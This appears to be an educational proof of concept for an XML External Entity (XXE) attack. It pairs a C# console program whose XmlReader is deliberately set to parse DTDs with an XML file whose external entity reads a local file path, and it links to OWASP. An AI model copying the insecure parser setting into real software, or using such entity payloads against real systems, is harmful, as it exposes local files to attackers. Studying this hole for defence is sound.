XEEAttack.cs

using System;
using System.Xml;
using System.Xml.Linq;

namespace ConsoleApp22
{
    class Program
    {
        static void Main(string[] args)
        {
            XmlReaderSettings settings = new XmlReaderSettings
            {
                DtdProcessing = DtdProcessing.Parse //this will REALYY parse xml file. https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
            };
            XmlReader reader = XmlReader.Create("xml.xml", settings);
            reader.MoveToContent();

            while (reader.Read())
            {
                switch (reader.NodeType)
                {
                    case XmlNodeType.Element:
                        Console.Write("<{0}>", reader.Name);
                        break;
                    case XmlNodeType.Text:
                        Console.Write(reader.Value);
                        break;
                    case XmlNodeType.CDATA:
                        Console.Write("<![CDATA[{0}]]>", reader.Value);
                        break;
                    case XmlNodeType.ProcessingInstruction:
                        Console.Write("<?{0} {1}?>", reader.Name, reader.Value);
                        break;
                    case XmlNodeType.Comment:
                        Console.Write("<!--{0}-->", reader.Value);
                        break;
                    case XmlNodeType.XmlDeclaration:
                        Console.Write("<?xml version='1.0'?>");
                        break;
                    case XmlNodeType.Document:
                        break;
                    case XmlNodeType.DocumentType:
                        Console.Write("<!DOCTYPE {0} [{1}]", reader.Name, reader.Value);
                        break;
                    case XmlNodeType.EntityReference:
                        Console.Write(reader.Name);
                        break;
                    case XmlNodeType.EndElement:
                        Console.Write("</{0}>", reader.Name);
                        break;
                }               
            }
            Console.ReadLine();
        }
    }
}

xml.xml

<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE test [
            <!ENTITY file SYSTEM 'file:///c:/xampp/htdocs/test.txt'> ]>
<test>
  <x>&file;</x>
</test>

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing